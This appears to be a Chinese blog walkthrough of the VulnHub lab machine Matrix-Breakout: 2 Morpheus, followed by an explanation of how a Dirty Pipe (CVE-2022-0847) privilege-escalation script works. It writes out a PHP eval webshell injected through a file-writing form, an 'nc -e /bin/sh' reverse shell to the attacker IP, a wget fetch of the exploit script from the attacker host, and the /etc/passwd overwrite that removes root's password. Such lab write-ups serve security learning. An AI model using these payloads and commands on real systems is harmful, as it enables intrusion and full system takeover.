当前位置: 首页 > web >正文

Matrix-Breakout: 2 Morpheus靶场渗透

Matrix-Breakout: 2 Morpheus

来自 <Matrix-Breakout: 2 Morpheus ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.148

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.148

1. 22/tcp → SSH

  • 服务:OpenSSH 8.4p1 (Debian 5 版本包)
  • 特征:比较新的 OpenSSH 版本,没有明显已知远程漏洞,但可能存在:
    • 弱口令/默认口令
    • 公钥认证配置不当
    • 爆破可行性(hydra、medusa、ncrack)

攻击思路:

  • 使用常见的用户字典(root, admin, morpheus, test)进行弱口令尝试。
  • 若后续能通过 Web 拿到账号信息,可以尝试凭证复用。

2. 80/tcp → Apache 2.4.51 (Debian)

  • 服务:Apache httpd 2.4.51
  • 版本风险:该版本曾存在多个漏洞(目录穿越、路径解析错误、HTTP 请求走私等),CVE-2021-42013 较为典型。
  • 页面标题:Morpheus:1
    • 说明这是一个渗透靶场/CTF 机器,Web 应用是主要突破口。

攻击思路:

  • 目录扫描(gobuster/dirsearch/ffuf)寻找隐藏目录/文件。
  • 查看源码或页面提示,获取账号、路径信息。
  • Apache 2.4.51 可尝试 路径穿越 + 远程代码执行 (RCE) 漏洞(若未打补丁)。
  • 注意 robots.txt 或者常见的 /admin /uploads /phpmyadmin。

3. 81/tcp → nginx 1.18.0

  • 服务:nginx 1.18.0
  • 特征:返回 401 Unauthorized,需要 Basic 认证,Realm 显示为 Meeting Place
  • 可能是后台管理接口或内部应用入口。

攻击思路:

  • 抓取 401 响应包,暴力破解 Basic Auth(hydra 支持 http-get / 的认证爆破)。
  • 版本风险:nginx 1.18.0 是较旧版本,可能存在已知漏洞(HTTP 请求走私等)。
  • 推测它与 80 端口的 Apache 一起工作(可能是反向代理、双 Web 服务环境)。

4,访问80端口开放的http服务

再扫描其子目录

dirsearch -u http://192.168.23.148 -x 403,404  

被耍了,什么都没有。

5,再访问81端口开放的http服务

是一个登录弹窗,那就只能放弃了。

6,回到80端口进行模糊测试了,看看能不能扫出来啥

ffuf -u http://192.168.23.148/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html

http://192.168.23.148/graffiti.txt

http://192.168.23.148/graffiti.php

7,发现此处输入的内容会保存在txt文件中

可以使用burpsuite抓一个包分析一下

那么我们可以将666替换为一句话木马,graffiti.txt替换为shell.php以实现写入木马

<?php @eval($_POST['cmd']);?>

然后再使用蚁剑进行连接

8,然后使用蚁剑反弹shell

nc -e /bin/sh 192.168.23.128 4444

nc的-e参数被禁了,那就直接上传kali自带的反弹shell木马

上传木马成功

访问 http://192.168.23.148/cmd.php 触发反弹shell

9,python脚本获取一个可交互式shell,再信息收集一下

python3 -c 'import pty;pty.spawn("/bin/bash")'

使用提权脚本进行提权,首先在kali上准备好脚本

在靶场上下载提权所用脚本

cd /tmp

wget http://192.168.23.128:8000/Dirty-Pipe.sh

给脚本执行权限,然后执行

chmod +x Dirty-Pipe.sh

./Dirty-Pipe.sh

成功变成root用户,获得flag

 

Dirty Pipe (CVE-2022-0847) 提权利脚本

https://github.com/r1is/CVE-2022-0847/blob/main/Dirty-Pipe.sh

1. Dirty Pipe 漏洞本质

  • 漏洞位置:Linux 内核 pipe_buffer.flags 变量未正确初始化。
  • 影响版本:Linux 5.8 ~ 5.16.11, 5.15.25, 5.10.102 之前。
  • 利用效果:任意普通用户进程可以将任意数据写入任意 只读文件页缓存 (page cache)
  • 关键点:并不是直接写文件,而是篡改文件在内存中的缓存映像 → 当进程读取该文件时,就会读到被修改的内容。

因此,攻击者能“假写”只读文件,比如 /etc/passwd。

2. 脚本工作流程

(1) 生成漏洞利用 C 代码

cat > exp.c <<EOF
... (Dirty Pipe PoC 源码) ...
EOF

这里写入的 exp.c 是官方 PoC:

  • 创建一个特殊的 pipe,利用未初始化的 PIPE_BUF_FLAG_CAN_MERGE。
  • 用 splice() 将目标文件的某个字节页引用进 pipe。
  • 随后 write() 时直接覆盖目标文件缓存数据。

(2) 编译漏洞利用程序

gcc exp.c -o exp -std=c99

得到可执行文件 ./exp,功能是:

./exp 目标文件 偏移 数据

例:./exp /etc/passwd 1 "xxxx" 表示从 /etc/passwd 的第 1 个字节开始写入数据。

(3) 备份系统文件

rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd

防止利用失败导致系统不可登录。

(4) 修改 /etc/passwd

关键一行:

passwd_tmp=$(cat /etc/passwd | head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

  • cat /etc/passwd | head 取前几行(通常包括 root 账户)。
  • 通过 sed 风格替换:root:x → oot:
    • 原本 /etc/passwd 的 root 行类似:
      root:x:0:0:root:/root:/bin/bash
      x 表示密码存放在 /etc/shadow。
    • 替换后变成:
      oot::0:0:root:/root:/bin/bash
      • root 变成 oot(因为替换的方式粗糙)。
      • 密码字段为空(::),意味着 无需密码 即可登录该账号。

实际上,这里的逻辑稍有 bug,本意应该是把 root:x → root:,直接清空 root 密码。

但替换写法误伤了第一个字母。不过这不影响,因为新生成的 oot 账号 UID/GID 仍然是 0,拥有 root 权限。

(5) 切换到 root

su root

由于 /etc/passwd 被 Dirty Pipe 篡改,root 用户或 uid=0 用户已无密码限制,可以直接提权成功。

(6) 恢复现场

攻击者也准备了恢复命令:

rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd

将备份文件拷回,避免系统报错或崩溃。

3. 提权原理总结

  • 漏洞利用:Dirty Pipe 允许非特权用户向只读文件页缓存写入数据。
  • 目标选择:攻击者选择 /etc/passwd,因为它控制着系统用户和认证方式。
  • 修改方式:清空 root 用户密码字段,或者新建一个 uid=0 用户。
  • 效果:绕过密码认证,直接 su root 获取系统最高权限。

4. 局限性

  1. 只能写在 页缓存 内,不能跨页(PoC 中有严格检查)。
  2. 修改的是 内存缓存,虽然会影响后续读取,但系统重启后可能恢复(除非数据落盘)。
  3. Dirty Pipe 只能在受影响内核上利用(Linux ≥5.8 且未打补丁)。
  4. 这种 /etc/passwd 修改方式比较粗暴,容易破坏系统,CTF/靶场常见,但实战中可能更倾向于写 authorized_keys 或 SUID 文件。

 

http://www.xdnf.cn/news/19628.html

相关文章:

  • docker本地部署dify,nginx80端口占用的报错
  • 环境搭建汇总
  • Burp Suite 插件 | 提供强大的框架自动化安全扫描功能。目前支持1000+POC、支持动态加载POC、指定框架扫描。
  • 代码随想录刷题Day47
  • 前端测试深度实践:从单元测试到E2E测试的完整测试解决方案
  • 医疗AI时代的生物医学Go编程:高性能计算与精准医疗的案例分析(八)
  • 华宇TAS应用中间件与长城科技两款产品完成兼容互认证
  • 卷积神经网络训练全攻略:从理论到实战
  • 矩阵中寻找好子矩阵
  • 解决爬虫IP限制:Selenium隧道代理完整解决方案
  • 【git】解决Failed to connect to github.com port 443: Timed out
  • 如何修复Lyra Starter Game的按键绑定功能?
  • 智能运维新范式:自动化如何提升企业IT效率
  • 二叉树OJ习题
  • Azure AI Search构建RAG的优化点
  • 动态配置最佳实践:Spring Boot 十种落地方式与回滚审计指南(含实操与避坑)
  • Hello World背后的秘密:详解 C++ 编译链接模型
  • 【重学MySQL】九十三、MySQL字符集与比较规则完全解析
  • Python轻量化革命:用MicroPython构建边缘智能设备
  • 【开题答辩全过程】以 基于SpringBoot的流浪猫狗领养系统为例,包含答辩的问题和答案
  • Unity学习----【数据持久化】二进制存储(二)--文件流
  • 大模型RAG项目实战:Milvus向量数据库
  • 实现自己的AI视频监控系统-第三章-信息的推送与共享1
  • Bootloader(1):初步认识Bootloader概念(什么是Bootloader)
  • 基于muduo库的图床云共享存储项目(三)
  • Ansible配置文件与主机清单
  • juicefs+ceph rgw 存储安装
  • MYSQL表的增删改查
  • 深入解析数据结构之单链表
  • ros2bag_py的api小结、丢帧问题对策